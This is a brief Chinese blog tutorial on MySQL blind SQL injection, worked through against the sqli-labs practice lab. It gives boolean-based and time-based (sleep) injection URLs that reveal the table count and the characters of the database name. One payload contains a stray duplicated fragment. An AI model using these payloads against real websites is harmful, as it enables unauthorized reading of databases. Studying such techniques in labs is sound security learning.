mysql盲注

盲注是在没有回显的情况下使用的注入方式,根据盲注方式的不同分为布尔盲注和时间盲注

一、布尔盲注

布尔盲注前提条件是存在注入点并且条件成功和失败页面特征不一致,基于布尔的判断是根据我们构造语句返回的 True 或者 False 来判断数据内容。

sqli-labs less-1

http://192.168.1.63/sqli-labs/Less-1/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=3 --+

 

 此时条件不成功,没有正确显示id=1的结果说明and后面的条件不成立,当前数据库中表的数量不为3

 

http://192.168.1.63/sqli-labs/Less-1/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+

 

 能够正确显示id=1的结果说明and后面的条件成立,当前数据库中表的数量为4

二、时间盲注

无论条件正确与否都没有任何回显和错误提示,此时使用时间盲注。

基于时间的盲注则是使用 if 语句进行条件判断,满足判断条件则执行 sleep 语句,不满足不做任何操作从(也可以相反)。根据造成页面的响 应时间长短判断结果。

sqli-labs less-8

当条件成立时休眠三秒,条件不成立时不做任何操作

http://192.168.1.63/sqli-labs/Less-8/?id=1' and if (ascii(substr(database(),1,1))=114,sleep(3),null) -- +

 

 响应时间只有6毫秒,说明条件不满足

 

http://192.168.1.63/sqli-labs/Less-8/?id=1' 1' and if (ascii(substr(database(),1,1))=115,sleep(3),null) -- +

 

 响应时间超过3秒,说明条件成立,数据库名称第一个字符的ascii码等于115,对应字符s

 

posted @ 2022-12-05 00:16  人生几何几何  阅读(406)  评论(0)    收藏  举报